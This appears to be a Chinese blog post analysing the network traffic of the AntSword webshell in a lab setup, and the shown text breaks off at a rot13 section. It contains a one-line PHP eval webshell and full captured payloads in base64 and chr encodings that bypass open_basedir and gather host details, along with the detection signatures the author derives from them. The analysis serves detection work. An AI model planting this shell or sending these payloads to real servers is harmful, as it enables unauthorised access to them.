webshell通信流量分析

news2025/2/19 16:25:58

环境安装

Apatche2 + php

sudo apt install apache2 -y

sudo apt install php libapache2-mod-php php-mysql -y

echo "<?php phpinfo(); ?>" | sudo tee /var/www/html/info.php

sudo ufw allow 'Apache Full'

如果成功访问info.php,则环境安装成功

蚁剑

安装使用

快速使用:获取蚁剑 · 语雀

注意:打开加载器选择目录时,目录为源代码的目录,即选择 antSword-master 目录,选择其他目录可能导致在线下载源代码出现解压失败的情况

将 cd /var/www/html | echo "<?php eval($_POST['ant']); ?"> ant.php ,上传后浏览器访问

php.ini中

display_errors = Off,时无提示

GET /ant.php HTTP/1.1
Host: 127.17.25.244
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:11:50 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

display_errors = On,会提示

Notice: Undefined index: ant in C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php on line 1

GET /ant.php HTTP/1.1
Host: 10.227.39.34
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36 Edg/92.0.902.67
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

HTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:16:39 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 139
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<br />
<b>Notice</b>:  Undefined index: ant in <b>C:\Users\sangfor\Desktop\phpstudy2018\PHPTutorial\WWW\ant.php</b> on line <b>1</b><br />

流量分析

分析测试连接的数据包

首先使用default编码测试连接

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; fr-fr) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1792
Connection: close

ant=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24oparr%3Dpreg_split(base64_decode(%22Lzt8Oi8%3D%22)%2C%24opdir)%3B%40array_push(%24oparr%2C%24ocwd%2Csys_get_temp_dir())%3Bforeach(%24oparr%20as%20%24item)%20%7Bif(!%40is_writable(%24item))%7Bcontinue%3B%7D%3B%24tmdir%3D%24item.%22%2F.8de21%22%3B%40mkdir(%24tmdir)%3Bif(!%40file_exists(%24tmdir))%7Bcontinue%3B%7D%24tmdir%3Drealpath(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%20%22..%22)%3B%24cntarr%3D%40preg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24tmdir)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24cntarr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%3B%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24tmdir)%3Bbreak%3B%7D%3B%7D%3B%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%22677f%22.%22365bc%22%3Becho%20%40asenc(%24output)%3Becho%20%22d6dcc9%22.%224748ef%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3BHTTP/1.1 200 OK
Date: Mon, 30 Sep 2024 07:19:58 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 173
Connection: close
Content-Type: text/html

677f365bcC:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangford6dcc94748ef

请求体进行解码

@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir = @ini_get("open_basedir");
if ($opdir) {
  $ocwd = dirname($_SERVER["SCRIPT_FILENAME"]);
  $oparr = preg_split(base64_decode("Lzt8Oi8="), $opdir);
    @array_push($oparr, $ocwd, sys_get_temp_dir());
  foreach($oparr as $item) {
    if (!@is_writable($item)) {
      continue;
    };
    $tmdir = $item.
      "/.e7c0d2cbd35";
    @mkdir($tmdir);
    if (!@file_exists($tmdir)) {
      continue;
    }
    $tmdir = realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr = @preg_split("/\\\\|\//", $tmdir);
    for ($i = 0; $i < sizeof($cntarr); $i++) {
      @chdir("..");
    };
    @ini_set("open_basedir", "/");
    @rmdir($tmdir);
    break;
  };
};;

function asenc($out) {
  return $out;
};

function asoutput() {
  $output = ob_get_contents();
  ob_end_clean();
  echo "11a5"."3175";
  echo@ asenc($output);
  echo "f091".
    "3b3c";
}
ob_start();
try {
  $D = dirname($_SERVER["SCRIPT_FILENAME"]);
  if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);
  $R = "{$D}	";
  if (substr($D, 0, 1) != "/") {
    foreach(range("C", "Z") as $L) if (is_dir("{$L}:")) $R. = "{$L}:";
  } else {
    $R. = "/";
  }
  $R. = "	";
  $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";
  $s = ($u) ? $u["name"] : @get_current_user();
  $R. = php_uname();
  $R. = "	{$s}";
  echo $R;;
} catch (Exception $e) {
  echo "ERROR://".$e - > getMessage();
};
asoutput();
die();

@ini_set("display_errors", "0"): 函数用于设置 PHP 配置选项。这里将 display_errors 设置为 0,表示不显示错误信息。@ 符号用于抑制可能的错误提示。

@set_time_limit(0):set_time_limit 函数用于设置脚本的最大执行时间。参数为 0 表示不限制执行时间

ini_get 函数用于获取指定的配置选项值。这里获取 open_basedir 的值,open_basedir 用于限制 PHP 脚本可以访问的文件系统路径。如果 open_basedir 设置为 /var/www,则脚本只能访问该目录及其子目录。

dirname 函数返回指定路径的目录部分。这里获取当前脚本的目录。

base64_decode 解码后得到的字符串是 /:/,preg_split 用于根据这个分隔符将 open_basedir 的路径分割成数组。如果 open_basedir 为 /var/www:/tmp,则 $oparr 将为 ['/var/www', '/tmp']

array_push 将当前脚本目录和系统临时目录添加到路径数组中。

is_writable 检查指定路径是否可写。如果可写,则在该路径下创建一个名为 .e7c0d2cbd35 的目录。

realpath 获取目录的绝对路径,chdir 更改当前工作目录到新创建的临时目录。

asoutput(): 这个函数获取输出缓冲区的内容,清空缓冲区,并在输出前后添加一些字符串。

ob_start(); 启动输出缓冲区,后续的输出将被存储在缓冲区中,而不是直接输出。在调用 asoutput 之前,所有的 echo 输出都将被缓冲

$D=dirname($_SERVER["SCRIPT_FILENAME"])

如果脚本在 /var/www/html/script.php,则 $D 为 /var/www/html

特征包含:

@ini_set("display_errors", "0");@set_time_limit(0);

使用base_64编码测试连接

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; ja-jp) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27
Content-Type: application/x-www-form-urlencoded
Content-Length: 1668
Connection: close

ant=%40eval(%40base64_decode(%24_POST%5B'l41e6548d11f05'%5D))%3B&l41e6548d11f05=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmRjNDI5IjtAbWtkaXIoJHRtZGlyKTtpZighQGZpbGVfZXhpc3RzKCR0bWRpcikpe2NvbnRpbnVlO30kdG1kaXI9cmVhbHBhdGgoJHRtZGlyKTtAY2hkaXIoJHRtZGlyKTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwgIi4uIik7JGNudGFycj1AcHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkdG1kaXIpO2ZvcigkaT0wOyRpPHNpemVvZigkY250YXJyKTskaSsrKXtAY2hkaXIoIi4uIik7fTtAaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkdG1kaXIpO2JyZWFrO307fTs7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZjVjMjI5Ii4iMDVlMzI5IjtlY2hvIEBhc2VuYygkb3V0cHV0KTtlY2hvICI3MCIuIjljMCI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk%2FJHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2goRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7

HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:37:11 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 169
Connection: close
Content-Type: text/html

f5c22905e329C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangfor709c0

base64解码后与上面一样

特征:@eval(@base64_decode($_POST['ied5afd67ff4a5'])); //ied5afd67ff4a5为随机变量

使用chr

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (X11; Linux i586; rv:31.0) Gecko/20100101 Firefox/31.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 10120
Connection: close

ant=%40eVAl(cHr(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(100).ChR(105).ChR(115).ChR(112).ChR(108).ChR(97).ChR(121).ChR(95).ChR(101).ChR(114).ChR(114).ChR(111).ChR(114).ChR(115).ChR(34).ChR(44).ChR(32).ChR(34).ChR(48).ChR(34).ChR(41).ChR(59).ChR(64).ChR(115).ChR(101).ChR(116).ChR(95).ChR(116).ChR(105).ChR(109).ChR(101).ChR(95).ChR(108).ChR(105).ChR(109).ChR(105).ChR(116).ChR(40).ChR(48).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(61).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(103).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(32).ChR(123).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(61).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(98).ChR(97).ChR(115).ChR(101).ChR(54).ChR(52).ChR(95).ChR(100).ChR(101).ChR(99).ChR(111).ChR(100).ChR(101).ChR(40).ChR(34).ChR(76).ChR(122).ChR(116).ChR(56).ChR(79).ChR(105).ChR(56).ChR(61).ChR(34).ChR(41).ChR(44).ChR(36).ChR(111).ChR(112).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(97).ChR(114).ChR(114).ChR(97).ChR(121).ChR(95).ChR(112).ChR(117).ChR(115).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(44).ChR(36).ChR(111).ChR(99).ChR(119).ChR(100).ChR(44).ChR(115).ChR(121).ChR(115).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(116).ChR(101).ChR(109).ChR(112).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(41).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(36).ChR(111).ChR(112).ChR(97).ChR(114).ChR(114).ChR(32).ChR(97).ChR(115).ChR(32).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(32).ChR(123).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(105).ChR(115).ChR(95).ChR(119).ChR(114).ChR(105).ChR(116).ChR(97).ChR(98).ChR(108).ChR(101).ChR(40).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(59).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(36).ChR(105).ChR(116).ChR(101).ChR(109).ChR(46).ChR(34).ChR(47).ChR(46).ChR(99).ChR(99).ChR(54).ChR(100).ChR(55).ChR(34).ChR(59).ChR(64).ChR(109).ChR(107).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(33).ChR(64).ChR(102).ChR(105).ChR(108).ChR(101).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(41).ChR(123).ChR(99).ChR(111).ChR(110).ChR(116).ChR(105).ChR(110).ChR(117).ChR(101).ChR(59).ChR(125).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(61).ChR(114).ChR(101).ChR(97).ChR(108).ChR(112).ChR(97).ChR(116).ChR(104).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(32).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(61).ChR(64).ChR(112).ChR(114).ChR(101).ChR(103).ChR(95).ChR(115).ChR(112).ChR(108).ChR(105).ChR(116).ChR(40).ChR(34).ChR(47).ChR(92).ChR(92).ChR(92).ChR(92).ChR(124).ChR(92).ChR(47).ChR(47).ChR(34).ChR(44).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(102).ChR(111).ChR(114).ChR(40).ChR(36).ChR(105).ChR(61).ChR(48).ChR(59).ChR(36).ChR(105).ChR(60).ChR(115).ChR(105).ChR(122).ChR(101).ChR(111).ChR(102).ChR(40).ChR(36).ChR(99).ChR(110).ChR(116).ChR(97).ChR(114).ChR(114).ChR(41).ChR(59).ChR(36).ChR(105).ChR(43).ChR(43).ChR(41).ChR(123).ChR(64).ChR(99).ChR(104).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(46).ChR(46).ChR(34).ChR(41).ChR(59).ChR(125).ChR(59).ChR(64).ChR(105).ChR(110).ChR(105).ChR(95).ChR(115).ChR(101).ChR(116).ChR(40).ChR(34).ChR(111).ChR(112).ChR(101).ChR(110).ChR(95).ChR(98).ChR(97).ChR(115).ChR(101).ChR(100).ChR(105).ChR(114).ChR(34).ChR(44).ChR(34).ChR(47).ChR(34).ChR(41).ChR(59).ChR(64).ChR(114).ChR(109).ChR(100).ChR(105).ChR(114).ChR(40).ChR(36).ChR(116).ChR(109).ChR(100).ChR(105).ChR(114).ChR(41).ChR(59).ChR(98).ChR(114).ChR(101).ChR(97).ChR(107).ChR(59).ChR(125).ChR(59).ChR(125).ChR(59).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(41).ChR(123).ChR(114).ChR(101).ChR(116).ChR(117).ChR(114).ChR(110).ChR(32).ChR(36).ChR(111).ChR(117).ChR(116).ChR(59).ChR(125).ChR(59).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(123).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(61).ChR(111).ChR(98).ChR(95).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(111).ChR(110).ChR(116).ChR(101).ChR(110).ChR(116).ChR(115).ChR(40).ChR(41).ChR(59).ChR(111).ChR(98).ChR(95).ChR(101).ChR(110).ChR(100).ChR(95).ChR(99).ChR(108).ChR(101).ChR(97).ChR(110).ChR(40).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(48).ChR(57).ChR(102).ChR(50).ChR(51).ChR(34).ChR(46).ChR(34).ChR(56).ChR(55).ChR(100).ChR(53).ChR(53).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(64).ChR(97).ChR(115).ChR(101).ChR(110).ChR(99).ChR(40).ChR(36).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(41).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(99).ChR(49).ChR(53).ChR(56).ChR(48).ChR(34).ChR(46).ChR(34).ChR(52).ChR(50).ChR(98).ChR(55).ChR(52).ChR(34).ChR(59).ChR(125).ChR(111).ChR(98).ChR(95).ChR(115).ChR(116).ChR(97).ChR(114).ChR(116).ChR(40).ChR(41).ChR(59).ChR(116).ChR(114).ChR(121).ChR(123).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(83).ChR(67).ChR(82).ChR(73).ChR(80).ChR(84).ChR(95).ChR(70).ChR(73).ChR(76).ChR(69).ChR(78).ChR(65).ChR(77).ChR(69).ChR(34).ChR(93).ChR(41).ChR(59).ChR(105).ChR(102).ChR(40).ChR(36).ChR(68).ChR(61).ChR(61).ChR(34).ChR(34).ChR(41).ChR(36).ChR(68).ChR(61).ChR(100).ChR(105).ChR(114).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(36).ChR(95).ChR(83).ChR(69).ChR(82).ChR(86).ChR(69).ChR(82).ChR(91).ChR(34).ChR(80).ChR(65).ChR(84).ChR(72).ChR(95).ChR(84).ChR(82).ChR(65).ChR(78).ChR(83).ChR(76).ChR(65).ChR(84).ChR(69).ChR(68).ChR(34).ChR(93).ChR(41).ChR(59).ChR(36).ChR(82).ChR(61).ChR(34).ChR(123).ChR(36).ChR(68).ChR(125).ChR(9).ChR(34).ChR(59).ChR(105).ChR(102).ChR(40).ChR(115).ChR(117).ChR(98).ChR(115).ChR(116).ChR(114).ChR(40).ChR(36).ChR(68).ChR(44).ChR(48).ChR(44).ChR(49).ChR(41).ChR(33).ChR(61).ChR(34).ChR(47).ChR(34).ChR(41).ChR(123).ChR(102).ChR(111).ChR(114).ChR(101).ChR(97).ChR(99).ChR(104).ChR(40).ChR(114).ChR(97).ChR(110).ChR(103).ChR(101).ChR(40).ChR(34).ChR(67).ChR(34).ChR(44).ChR(34).ChR(90).ChR(34).ChR(41).ChR(97).ChR(115).ChR(32).ChR(36).ChR(76).ChR(41).ChR(105).ChR(102).ChR(40).ChR(105).ChR(115).ChR(95).ChR(100).ChR(105).ChR(114).ChR(40).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(41).ChR(41).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(123).ChR(36).ChR(76).ChR(125).ChR(58).ChR(34).ChR(59).ChR(125).ChR(101).ChR(108).ChR(115).ChR(101).ChR(123).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(47).ChR(34).ChR(59).ChR(125).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(34).ChR(59).ChR(36).ChR(117).ChR(61).ChR(40).ChR(102).ChR(117).ChR(110).ChR(99).ChR(116).ChR(105).ChR(111).ChR(110).ChR(95).ChR(101).ChR(120).ChR(105).ChR(115).ChR(116).ChR(115).ChR(40).ChR(34).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(103).ChR(105).ChR(100).ChR(34).ChR(41).ChR(41).ChR(63).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(112).ChR(119).ChR(117).ChR(105).ChR(100).ChR(40).ChR(64).ChR(112).ChR(111).ChR(115).ChR(105).ChR(120).ChR(95).ChR(103).ChR(101).ChR(116).ChR(101).ChR(117).ChR(105).ChR(100).ChR(40).ChR(41).ChR(41).ChR(58).ChR(34).ChR(34).ChR(59).ChR(36).ChR(115).ChR(61).ChR(40).ChR(36).ChR(117).ChR(41).ChR(63).ChR(36).ChR(117).ChR(91).ChR(34).ChR(110).ChR(97).ChR(109).ChR(101).ChR(34).ChR(93).ChR(58).ChR(64).ChR(103).ChR(101).ChR(116).ChR(95).ChR(99).ChR(117).ChR(114).ChR(114).ChR(101).ChR(110).ChR(116).ChR(95).ChR(117).ChR(115).ChR(101).ChR(114).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(112).ChR(104).ChR(112).ChR(95).ChR(117).ChR(110).ChR(97).ChR(109).ChR(101).ChR(40).ChR(41).ChR(59).ChR(36).ChR(82).ChR(46).ChR(61).ChR(34).ChR(9).ChR(123).ChR(36).ChR(115).ChR(125).ChR(34).ChR(59).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(36).ChR(82).ChR(59).ChR(59).ChR(125).ChR(99).ChR(97).ChR(116).ChR(99).ChR(104).ChR(40).ChR(69).ChR(120).ChR(99).ChR(101).ChR(112).ChR(116).ChR(105).ChR(111).ChR(110).ChR(32).ChR(36).ChR(101).ChR(41).ChR(123).ChR(101).ChR(99).ChR(104).ChR(111).ChR(32).ChR(34).ChR(69).ChR(82).ChR(82).ChR(79).ChR(82).ChR(58).ChR(47).ChR(47).ChR(34).ChR(46).ChR(36).ChR(101).ChR(45).ChR(62).ChR(103).ChR(101).ChR(116).ChR(77).ChR(101).ChR(115).ChR(115).ChR(97).ChR(103).ChR(101).ChR(40).ChR(41).ChR(59).ChR(125).ChR(59).ChR(97).ChR(115).ChR(111).ChR(117).ChR(116).ChR(112).ChR(117).ChR(116).ChR(40).ChR(41).ChR(59).ChR(100).ChR(105).ChR(101).ChR(40).ChR(41).ChR(59))%3BHTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:47:09 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 172
Connection: close
Content-Type: text/html

09f2387d55C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangforc158042b74

chr解码后与上面一样

特征:eVAl(cHr(64).ChR(105)

chr16

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 11882
Connection: close

ant=%40eVAl(cHr(0x40).ChR(0x69).ChR(0x6e).ChR(0x69).ChR(0x5f).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x28).ChR(0x22).ChR(0x64).ChR(0x69).ChR(0x73).ChR(0x70).ChR(0x6c).ChR(0x61).ChR(0x79).ChR(0x5f).ChR(0x65).ChR(0x72).ChR(0x72).ChR(0x6f).ChR(0x72).ChR(0x73).ChR(0x22).ChR(0x2c).ChR(0x20).ChR(0x22).ChR(0x30).ChR(0x22).ChR(0x29).ChR(0x3b).ChR(0x40).ChR(0x73).ChR(0x65).ChR(0x74).ChR(0x5f).ChR(0x74).ChR(0x69).ChR(0x6d).ChR(0x65).ChR(0x5f).ChR(0x6c).ChR(0x69).ChR(0x6d).ChR(0x69).ChR(0x74).ChR(0x28).ChR(0x30).ChR(0x29).ChR(0x3b).ChR(0x24).ChR(0x6f).ChR(0x70).........

HTTP/1.1 200 OK
Date: Tue, 15 Oct 2024 02:53:03 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
X-Powered-By: PHP/5.4.45
Content-Length: 167
Connection: close
Content-Type: text/html

c0a4c1C:/Users/Desktop/phpstudy2018/PHPTutorial/WWW	C:D:	Windows NT SANGFOR-PC 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586	sangfora478436fc

rot13

POST /ant.php HTTP/1.1
Host: 10.227.39.34
Accept-Encoding: gzip, deflate
